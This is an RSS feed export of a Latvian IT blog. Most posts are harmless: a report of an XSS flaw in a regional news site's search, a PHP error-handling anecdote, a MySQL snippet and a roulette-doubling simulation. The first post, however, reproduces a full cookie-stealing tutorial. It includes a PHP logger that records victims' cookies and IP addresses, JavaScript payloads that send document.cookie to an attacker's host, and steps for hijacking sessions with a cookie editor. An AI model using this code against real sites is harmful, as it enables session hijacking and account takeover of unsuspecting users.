<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IT sviestapika &#187; PHP</title>
	<atom:link href="http://dll.lv/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://dll.lv</link>
	<description>Par IT un ne tikai</description>
	<lastBuildDate>Sun, 29 Jan 2012 13:55:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Kā nodemonstrēt XSS ievainojamību</title>
		<link>http://dll.lv/ka-nodemonstret-xss-ievainojamibu?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ka-nodemonstret-xss-ievainojamibu</link>
		<comments>http://dll.lv/ka-nodemonstret-xss-ievainojamibu#comments</comments>
		<pubDate>Sat, 21 Jan 2012 16:02:35 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Apmācība]]></category>
		<category><![CDATA[Drošība]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1804</guid>
		<description><![CDATA[Ja ir nepieciešams nodemonstrēt kādā veidā var izmantot XSS ievainojamību kādā mājas lapā, tad var izmantot autora izveidoto php skriptu, lai nebūtu jāizveido divritenis no sākuma. Otrs veids ir izmantot šo pieeju. Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies &#8230; <a href="http://dll.lv/ka-nodemonstret-xss-ievainojamibu">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/www-zz-lv-un-xss' rel='bookmark' title='www.zz.lv un XSS'>www.zz.lv un XSS</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Ja ir nepieciešams nodemonstrēt kādā veidā var izmantot XSS ievainojamību kādā mājas lapā, tad var izmantot <a href="http://hackiteasy.blogspot.com/2011/01/session-hijacking-or-cookie-stealing.html">autora</a> izveidoto php skriptu, lai nebūtu jāizveido divritenis no sākuma.</p>
<p>Otrs veids ir izmantot <a href="http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/">šo</a> pieeju.<br />
<span id="more-1804"></span><br />
Savkārt ievietot jau mājaslapā pārsūtāmo informāciju visbiežāk izdevies izmantojot <a href="http://jehiah.cz/a/xss-stealing-cookies-101">šo</a> piemēru:</p>
<p>&lt;p&gt;script><br />
new Image().src=&#8221;http://jehiah.com/_sandbox/log.cgi?c=&#8221;+encodeURI(document.cookie);<br />
&lt;p&gt;/script></p>
<blockquote><p>In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim&#8217;s computer (see HTTP cookie theft).</p>
<p>Here we show how you can hack a session using javascript and php.</p>
<p>What is a cookie?</p>
<p>A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.<br />
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.<br />
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.</p>
<p>What can we do after stealing cookie?</p>
<p>Well,as we know web sites authenticate their user&#8217;s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.</p>
<p>This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.</p>
<p>PHP Code:<br />
<!--?php function GetIP() { if (getenv("HTTP_CLIENT_IP") &#038;&#038; strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") &#038;&#038; strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") &#038;&#038; strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) &#038;&#038; $_SERVER['REMOTE_ADDR'] &#038;&#038; strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function logData() { $ipLog="log.txt"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP(); $rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("l dS of F Y h:i:s A"); $log=fopen("$ipLog", "a+"); if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie "); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData(); ?--></p>
<p>Save the script as a cookielogger.php on your server.<br />
(You can get any free webhosting easily such as justfree,x10hosting etc..)</p>
<p>Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.</p>
<p>Now for the hack to work we have to inject this piece of javascript into the target&#8217;s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.</p>
<p>The best way is to look for user interactive sites which contain comments or forums.</p>
<p>Post the following code which invokes or activates the cookielogger on your host.</p>
<p>Code:<br />
&lt;p&gt;script type=&#8221;text/javascript&#8221; language=&#8221;Java script&#8221;>// <![CDATA[<br />
document.location="http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;<br />
// ]]&gt;&lt;p&gt;/script></p>
<p>Your can also trick the victim into clicking a link that activates javascript.<br />
Below is the code which has to be posted.</p>
<p>Code:<br />
&lt;p&gt;a href=&#8221;java script:document.location=&#8217;http://www.yourhost.com/cookielogger.php?cookie=&#8217;+document.cookie;&#8221;>Click here!</a></p>
<p>Clicking an image also can activate the script.For this purpose you can use the below code.</p>
<p>Code:</p>
<p>&lt;p&gt;img src=&#8221;URL OF THE IMAGE&#8221; alt=&#8221;" /></p>
<p>All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver</p>
<p>In the above codes please remove the space in between javascript.</p>
<p>Hijacking the Session:</p>
<p>Now we have cookie,what to do with this..?<br />
Download cookie editor mozilla plugin or you may find other plugins as well.</p>
<p>Go to the target site&#8211;&gt;open cookie editor&#8211;&gt;Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573</p>
<p>Don&#8217;t forget to comment if you like my post.<br />
by hackiteasy</p></blockquote>
<p>Related posts:<ol>
<li><a href='http://dll.lv/www-zz-lv-un-xss' rel='bookmark' title='www.zz.lv un XSS'>www.zz.lv un XSS</a></li>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/lapas-redirect' rel='bookmark' title='Lapas redirect'>Lapas redirect</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/ka-nodemonstret-xss-ievainojamibu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>www.zz.lv un XSS</title>
		<link>http://dll.lv/www-zz-lv-un-xss?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=www-zz-lv-un-xss</link>
		<comments>http://dll.lv/www-zz-lv-un-xss#comments</comments>
		<pubDate>Mon, 17 Jan 2011 07:00:51 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Drošība]]></category>
		<category><![CDATA[Drošības caurumi]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[drošības prasības]]></category>
		<category><![CDATA[drošības testēšana]]></category>
		<category><![CDATA[easy hack]]></category>
		<category><![CDATA[Incidents]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[web izstrāde]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[zz.lv]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1427</guid>
		<description><![CDATA[Mājās drusku pabakstoties atklājās, ka Zemgales ziņas mājas lapas meklēšanas funkcionalitātē ir XSS ievainojamība. Pieņemu, ka tāda pati problēma ir visās AS Dienas reģionālo avīžu mājas lapās. Pilnībā atvēzēties liedz tas, ka tiek atfiltrēts „=” simbols. Par XSS var palasīt: &#8230; <a href="http://dll.lv/www-zz-lv-un-xss">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/www-atlaizuklubs-lv-sql-kluda' rel='bookmark' title='www.atlaizuklubs.lv SQL kļūda'>www.atlaizuklubs.lv SQL kļūda</a></li>
<li><a href='http://dll.lv/uzlauzts-chrysler-lv' rel='bookmark' title='Uzlauzts Chrysler.lv'>Uzlauzts Chrysler.lv</a></li>
<li><a href='http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta' rel='bookmark' title='Hackeri uzbrūk vai gadās arī tā'>Hackeri uzbrūk vai gadās arī tā</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Mājās drusku pabakstoties atklājās, ka <a href="http://zz.lv" target="_blank">Zemgales ziņas</a> mājas lapas meklēšanas funkcionalitātē ir XSS ievainojamība. Pieņemu, ka tāda pati problēma ir visās AS Dienas reģionālo avīžu mājas lapās.<br />
Pilnībā atvēzēties liedz tas, ka tiek atfiltrēts „=” simbols.<br />
Par XSS var palasīt:</p>
<p><a href="http://hakipedia.com/index.php/Cross_Site_Scripting" target="_blank">http://hakipedia.com/index.php/Cross_Site_Scripting</a><br />
<a href="http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)" target="_blank"> http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)</a><br />
<a href="http://ha.ckers.org/xss.html" target="_blank"> http://ha.ckers.org/xss.html</a><br />
<a href="http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html" target="_blank"> http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html</a><br />
<a href="http://dll.lv/wp-content/uploads/2011/01/zz_lv.png"><img class="aligncenter size-medium wp-image-1428" title="zz_lv" src="http://dll.lv/wp-content/uploads/2011/01/zz_lv-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/www-atlaizuklubs-lv-sql-kluda' rel='bookmark' title='www.atlaizuklubs.lv SQL kļūda'>www.atlaizuklubs.lv SQL kļūda</a></li>
<li><a href='http://dll.lv/uzlauzts-chrysler-lv' rel='bookmark' title='Uzlauzts Chrysler.lv'>Uzlauzts Chrysler.lv</a></li>
<li><a href='http://dll.lv/hackeri-uzbruk-vai-gadas-ari-ta' rel='bookmark' title='Hackeri uzbrūk vai gadās arī tā'>Hackeri uzbrūk vai gadās arī tā</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/www-zz-lv-un-xss/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mainīgo apstrādes kļūda</title>
		<link>http://dll.lv/mainigo-apstrades-kluda?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mainigo-apstrades-kluda</link>
		<comments>http://dll.lv/mainigo-apstrades-kluda#comments</comments>
		<pubDate>Mon, 10 Jan 2011 07:00:02 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Kopums]]></category>
		<category><![CDATA[drošības testēšana]]></category>
		<category><![CDATA[kodējam]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[web izstrāde]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1398</guid>
		<description><![CDATA[Intereses vadīts pamēģināju paspēlēties ar vienas mājaslapas mainīgajiem. Joka pēc sāku ar direktorijas satura iegūšanu &#8220;directory listing&#8221; &#8211; viss kārtībā. Nākamais solis ievadīt kaut ko ačgārnu, piemēram, www.lapa.tepat/css/abrakadabra, no kura normālā gadījumā vaajdzētu notikt redirektam uz lapas sākumu. Tā vietā &#8230; <a href="http://dll.lv/mainigo-apstrades-kluda">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/www-atlaizuklubs-lv-sql-kluda' rel='bookmark' title='www.atlaizuklubs.lv SQL kļūda'>www.atlaizuklubs.lv SQL kļūda</a></li>
<li><a href='http://dll.lv/drosibas-caurums-csdd-un-parex-majaslapa' rel='bookmark' title='Drošības caurums CSDD un Parex mājaslapā'>Drošības caurums CSDD un Parex mājaslapā</a></li>
<li><a href='http://dll.lv/second-step-in-forensic-investigation-vai-hackeri-uzbruk-2' rel='bookmark' title='Second step in forensic investigation vai hackeri uzbrūk 2'>Second step in forensic investigation vai hackeri uzbrūk 2</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Intereses vadīts pamēģināju paspēlēties ar vienas mājaslapas mainīgajiem.<br />
Joka pēc sāku ar direktorijas satura iegūšanu &#8220;directory listing&#8221; &#8211; viss kārtībā.<br />
<a href="http://dll.lv/wp-content/uploads/2011/01/Untitled.png"><img class="aligncenter size-medium wp-image-1399" title="Untitled" src="http://dll.lv/wp-content/uploads/2011/01/Untitled-300x74.png" alt="" width="300" height="74" /></a><br />
Nākamais solis ievadīt kaut ko ačgārnu, piemēram, www.lapa.tepat/css/abrakadabra, no kura normālā gadījumā vaajdzētu notikt redirektam uz lapas sākumu. Tā vietā man izvada šādu paziņojumu:<br />
<a href="http://dll.lv/wp-content/uploads/2011/01/Untitled1.png"><img class="aligncenter size-medium wp-image-1400" title="Untitled1" src="http://dll.lv/wp-content/uploads/2011/01/Untitled1-222x300.png" alt="" width="222" height="300" /></a><br />
Source izksatā,tas izkatās sparotamāk:<br />
<a href="http://dll.lv/wp-content/uploads/2011/01/Untitled2.png"><img class="aligncenter size-medium wp-image-1401" title="Untitled2" src="http://dll.lv/wp-content/uploads/2011/01/Untitled2-300x168.png" alt="" width="300" height="168" /></a><br />
Ko tas šinī konkrētā gadījumā dod un ko es varu ar to iesākt?<br />
Konkrētā gadījumā neko daudz, tomēr tas norāda uz to, ka mājaslapā nav par visu padomāts un iespējams ir atstātas vēl kādas kļūdas par kurām netika padomāts. Tāpēc iespējams pameklējot dziļāk var atrast vēl šo un to.</p>
<p>Kļūdu paziņojumā bija vēl viena interesanta lieta-<br />
Izvades teksts līdzīgs šim- &#8220;Autorizētiem lietotājiem pieejama daudz plašāka informācija, tajā skaitā ģeogrāfiskā GPS izsekošana&#8221; un tas mājaslapā, kuras uzdevums nav nodarboties ar kravas loģistiku.<br />
Tā kā iespējams ir neuzmanīgi izmantotas iestrādes no citiem projektiem.<br />
Google gan meklējot pēc šāda teksta nekas netika atrasts.</p>
<p>Manuprāt šeit kļūda ir tajā, ka pirmais mainīgais sakrita ar direktorijas nosaukumu un līdz ar to notika kļūda mainīgo apstrādē. Par to liecina arī tas, ka ievadot citu direktoriju nosaukumus kļūda ir tāda pati, piemēram http://lapa.aa/images/abrakadabra.</p>
<p>Ko no tā var mācīties?-<br />
Mainīgo pirmapstrādes mehānismā jāparedz gadījums, ka tie var sakrist ar direktoriju nosaukumu.</p>
<p>Vai es neesmu pieļāvis šādu kļūdu kādreiz? Iespējams esmu un tāpēc par kļūdām ir jārunā, lai tās vairs neatkārtotos.</p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/www-atlaizuklubs-lv-sql-kluda' rel='bookmark' title='www.atlaizuklubs.lv SQL kļūda'>www.atlaizuklubs.lv SQL kļūda</a></li>
<li><a href='http://dll.lv/drosibas-caurums-csdd-un-parex-majaslapa' rel='bookmark' title='Drošības caurums CSDD un Parex mājaslapā'>Drošības caurums CSDD un Parex mājaslapā</a></li>
<li><a href='http://dll.lv/second-step-in-forensic-investigation-vai-hackeri-uzbruk-2' rel='bookmark' title='Second step in forensic investigation vai hackeri uzbrūk 2'>Second step in forensic investigation vai hackeri uzbrūk 2</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/mainigo-apstrades-kluda/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Izraksts no PHP un MySql</title>
		<link>http://dll.lv/izraksts-no-php-un-mysql?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=izraksts-no-php-un-mysql</link>
		<comments>http://dll.lv/izraksts-no-php-un-mysql#comments</comments>
		<pubDate>Sun, 26 Dec 2010 14:45:35 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1384</guid>
		<description><![CDATA[Dažas pamat lietas no php.net, lai katru reizi nav jāmeklē kā pārbaudīt vai tabulā ir meklējamie ieraksti. Related posts: PHP funkcija, kas atgriež tekošo URLI
Related posts:<ol>
<li><a href='http://dll.lv/php-funkcija-kas-atgriez-tekoso-urli' rel='bookmark' title='PHP funkcija, kas atgriež tekošo URLI'>PHP funkcija, kas atgriež tekošo URLI</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Dažas pamat lietas no <a href="http://php.net/manual/en/function.mysql-fetch-assoc.php" target="_blank">php.net</a>, lai katru reizi nav jāmeklē kā pārbaudīt vai tabulā ir meklējamie ieraksti.<br />
<code></p>
<blockquote><p>
<?php<br />
$conn = mysql_connect("localhost", "mysql_user", "mysql_password");<br />
<span id="more-1384"></span><br />
if (!$conn) {<br />
    echo "Unable to connect to DB: " . mysql_error();<br />
    exit;<br />
}</p>
<p>if (!mysql_select_db("mydbname")) {<br />
    echo "Unable to select mydbname: " . mysql_error();<br />
    exit;<br />
}</p>
<p>$sql = "SELECT id as userid, fullname, userstatus<br />
        FROM   sometable<br />
        WHERE  userstatus = 1";</p>
<p>$result = mysql_query($sql);</p>
<p>if (!$result) {<br />
    echo "Could not successfully run query ($sql) from DB: " . mysql_error();<br />
    exit;<br />
}</p>
<p>if (mysql_num_rows($result) == 0) {<br />
    echo "No rows found, nothing to print so am exiting";<br />
    exit;<br />
}</p>
<p>// While a row of data exists, put that row in $row as an associative array<br />
// Note: If you're expecting just one row, no need to use a loop<br />
// Note: If you put extract($row); inside the following loop, you'll<br />
//       then create $userid, $fullname, and $userstatus<br />
while ($row = mysql_fetch_assoc($result)) {<br />
    echo $row["userid"];<br />
    echo $row["fullname"];<br />
    echo $row["userstatus"];<br />
}</p>
<p>mysql_free_result($result);</p>
<p>?>
</p></blockquote>
<p></code></p>
<p>Related posts:<ol>
<li><a href='http://dll.lv/php-funkcija-kas-atgriez-tekoso-urli' rel='bookmark' title='PHP funkcija, kas atgriež tekošo URLI'>PHP funkcija, kas atgriež tekošo URLI</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://dll.lv/izraksts-no-php-un-mysql/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>50/50, aizraujošā informātika vai kāpēc nestrādā dubultošanas metode?</title>
		<link>http://dll.lv/5050-aizraujosa-informatika-vai-kapec-nestrada-dubultosanas-metode?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=5050-aizraujosa-informatika-vai-kapec-nestrada-dubultosanas-metode</link>
		<comments>http://dll.lv/5050-aizraujosa-informatika-vai-kapec-nestrada-dubultosanas-metode#comments</comments>
		<pubDate>Mon, 23 Aug 2010 06:27:01 +0000</pubDate>
		<dc:creator>Kaspars</dc:creator>
				<category><![CDATA[Domu grauds]]></category>
		<category><![CDATA[Dzīve]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[Interesanti]]></category>
		<category><![CDATA[Kopums]]></category>
		<category><![CDATA[50/50]]></category>
		<category><![CDATA[aizraujošā informātika]]></category>
		<category><![CDATA[dubultošana]]></category>
		<category><![CDATA[ITIS]]></category>
		<category><![CDATA[kazino]]></category>
		<category><![CDATA[padoms]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rand]]></category>
		<category><![CDATA[rullete]]></category>

		<guid isPermaLink="false">http://dll.lv/?p=1241</guid>
		<description><![CDATA[Nu tā, šodien pamodos un izdomāju pārbaudīt praksē visiem zināmo patiesību, kāpēc dubultošanas metode (gan kazino- rullete, utt) nestrādā.. vai varbūt strādā? Man jau liekas loģiski, ja ir divas iespējas (piemēram, sarkans un melns), tad diezgan ātri vajadzētu pienākt reizei &#8230; <a href="http://dll.lv/5050-aizraujosa-informatika-vai-kapec-nestrada-dubultosanas-metode">Continue reading <span class="meta-nav">&#8594;</span></a>
Related posts:<ol>
<li><a href='http://dll.lv/aizstajam-vai-izmainam-izvadamo-kodu-izmantojot-javascript' rel='bookmark' title='Aizstājam vai izmainām izvadāmo kodu izmantojot javascript'>Aizstājam vai izmainām izvadāmo kodu izmantojot javascript</a></li>
<li><a href='http://dll.lv/ietekmesanas-maksla' rel='bookmark' title='Grāmata: Ietekmēšanas māksla'>Grāmata: Ietekmēšanas māksla</a></li>
<li><a href='http://dll.lv/gadas-ari-ta-vai-hackeri-uzbruk-hayley-williams' rel='bookmark' title='Gadās arī tā vai hackeri uzbrūk Hayley Williams'>Gadās arī tā vai hackeri uzbrūk Hayley Williams</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Nu tā, šodien pamodos un izdomāju pārbaudīt praksē visiem zināmo patiesību, kāpēc dubultošanas metode (gan kazino- rullete, utt) nestrādā.. vai varbūt strādā?</p>
<p>Man jau liekas loģiski, ja ir divas iespējas (piemēram, sarkans un melns), tad diezgan ātri vajadzētu pienākt reizei kad varētu uzminēt sarkanu vai melnu <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-1241"></span></p>
<p>Nu ko domāts darīts, vajag izskaitļot cik tad ir iespējams reizes praktiski neuzminēt? (lai saprastu cik vajadzētu $, lai kaut ko vinētu).</p>
<p>Teorija saka, ka katrā reizē iespējams uzminēt 50/50, tas nozīmē, ja neesi uzminējis 10 reizi, tad iespēja uzminēt pareizi 11tajā reizē arī ir tikai 50/50 <img src='http://dll.lv/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  Bet loģika saka ko citu- cik tad reizes var nepaveikties?</p>
<p>Tāpēc izveidoju simulācijas modeli, kurš noteiks cik reizes ir iespējams pēc kārtas kļūdīties?</p>
<p>Un kādi rezultāti? Interesanti&#8230;</p>
<p>Līdz šim biju lasījis vairākus rakstus, kur bija teikts, ka šī metode nestrādā&#8230; un kāpēc?</p>
<ul>
<li>tāpēc, ka, lai pēc vairākām neveiksmes reizēm mēs riskējam ar daudz reiz lielāku summu (pēc dubultošanas), nekā varam iegūt (piemēram, ja sākam ar 5ls, tad pēc 10 neveiksmes reizēm mums jau ir nepieciešams 2560 uz gājienu uzlikt, lai beigās vinnētu tikai 5ls <img src='http://dll.lv/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  )</li>
<li>jebkurā gājienā uzminēt iespēja ir tikai 50/50</li>
<li>daudzās grāmatās ir rakstīts, ka šī metode strādā, bet tikai līdz vienai reizei, tas nozīmē, ka sākumā var gūt panākumus, bet vienmēr pienāks reize, kad zaudēsiet..</li>
</ul>
<p>Protams te var runāt par riska apetīti un cik mēs esam gatavi riskēt, lai kaut ko iegūtu, bet ne par to ir stāsts.</p>
<p>Un tam seko rezultāti&#8230;</p>
<p>Lai tie maksimāli būtu ticami, eksperimentu atkārtoju z reizes un veicu i reizes..</p>
<p>Kādi rezultāti?</p>
<p>Lai neteiktu vairāk bēdīgi..</p>
<p>Izveidoto skriptu atkārtoju gan uz Linux, gan uz W7 un rezultāti ir gaužām atšķirīgi..</p>
<p>Uz linux pēc kārtas bija iespējams maksimāli neuzminēt 29 reizes..</p>
<p>Uz w7 pēc kārtas bija iespējams maksimāli neuzminēt 14 reizes..</p>
<p>Kāpēc varētu šie rādījumi atšķirties?</p>
<p>Nezinu, iespējams vaina ir rand funkcijā, kura uz win un lin izpildās dažādi.</p>
<p>Sākumā biju izmantojis rand funkciju starp 1 un 2 (rand(1,2)), tad win gadījumā rezultāts bija vēl cerīgāks (max 11 reizes pēc kārtas neuzminēt), bet kad izmainīju algoritmu, lai nosaka vērtību starp 100 un, ja ir zem 50, tad iegūt vērtību 1 un pretēji 2, tad ieguvu 14 reizes un visu laiku vienādu. Linux gadījumā katru reizi rezultāts tomēr mainījās, bet starpību starp rand (1,2) un rand(1,100) nejutu.</p>
<p>Kāpēc es visu šo iesāku? sākumā priekš sevis, lai saprastu, kāda tad ir faktiskā iespēja kļūdīties x reizes pēc kārtas un pēc tam uzskatīju par nepieciešamību parādīt citiem kas Jūs sagaida, ja nolemsiet dubultot..</p>
<p>Kādi tad ir mani secinājumi?</p>
<p>No eksperimenta sanāk, ja tev ir nauda un iespēja (kas rulletē nav, jo ir ierobežojums uz maksimālo likmi) dubultot vismaz vairāk kā 30 reizes sākotnējo likmi, tad karogs tev rokā (bet ņem vērā, ka var arī nepaveikties arī 30 reizē <img src='http://dll.lv/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).</p>
<p>Pretējā gadījumā Jums var paveikties arī vairākas reizes, bet kādreiz pienāks diena Z, kuru labāk nepiedzīvot.<br />
Lūk mans testa modelis:</p>
<blockquote><p><code><br />
<?php<br />
//izpildes laika aprēķinam<br />
$mtime = microtime();<br />
$mtime = explode(" ",$mtime);<br />
$mtime = $mtime[1] + $mtime[0];<br />
$starttime = $mtime;<br />
// beigas laika aprēķinam<br />
echo "Parbaudam varbūtības praktisko pusi";</p>
<p>//ar šo ciklu atkārtosim mērījumus z reizes, lai iegūtu pēc iespējas ticamāku rezultātu<br />
$max_max_katra_reize=0; //mainīgais, kurā glabāsies atkārtoto mērījumu gadījumā maksimālais neuzminētais skaits pēc kārtas<br />
for ($z=1;$z&lt;=1000;$z++)<br />
{<br />
$max_katra_reize=0; //mainīgais, kas saturēs maksimālo nesakritības reizi katrā piegājienā (i ciklā, nevis z ciklā)<br />
$skaits=0; //cik reizes pec kārtas nesakritīs konkrētā mērījumā (i cikls)<br />
$max_skaits=0; //maksimālais skaitlis cik reizes pēc kārtas ir nesakritis konkrētā mērījumā (i cikls)</p>
<p>for ($i=1;$i&lt;=100000;$i++){ //cikls, kurš simulēs konkrēto mērījumu<br />
$gad1=rand(1,100);<br />
$gad2=rand(1,100);<br />
if ($gad1&lt;=50){$pimais=1;} else {$pirmais=2;}<br />
if ($gad2&lt;=50){$otrais=1;} else {$otrais=2;}<br />
/*<br />
$pirmais=rand(1,2); //iegūstam pirmo nejaušo vērtību<br />
$otrais=rand(1,2); //iegūstam otro nejaušo vērtību<br />
*/<br />
//echo "$pirmais $otrais<br />
";<br />
if ($pirmais!=$otrais){ //ja abas vērtības nesakrīt, tad palielinam pēc kārtas nesakritušo vērtību<br />
$skaits=$skaits+1;<br />
}<br />
if ($pirmais==$otrais){ //ja abas vērtības sakrīt, tad pēc kārtas nesakritušo vērtību nonullējam<br />
$skaits=0;<br />
}<br />
if ($skaits&gt;$max_skaits){ //iegūstam maksimālo nesakritušo vētību katrā mērījumā, lai nav jāizvada viss liekais<br />
$max_skaits=$skaits;<br />
$max_katra_reize=$max_skaits;<br />
//echo "<br />
Maksimālais nesakritušo reižu skaits3: $max_katra_reize<br />
";<br />
}<br />
} //beidzas konkrētā mērījuma cikls (i cikls)<br />
//pēc cikla beigām esam ieguvuši maksimālo skaitli $maz_katra_reize, kurā glabājas vērtība cik maksimāli pēc kārtas reizes nesakrita abi skaitļi</p>
<p>if ($max_katra_reize&gt;$max_max_katra_reize){ // tagad izvadīsim cik tad bija maksimālais nesakrītības reizes pēc mērījuma un to atkārtojot z reizes pieņemamās pārliecības iegūšanai<br />
$max_max_katra_reize=$max_katra_reize;<br />
echo "Maksimālais nesakritušo reižu skaits: $max_max_katra_reize<br />
";<br />
}<br />
} //beidzas atkārtoto mērījumu cikls (z cikls)</p>
<p>//laika aprēķinam<br />
$mtime = microtime();<br />
$mtime = explode(" ",$mtime);<br />
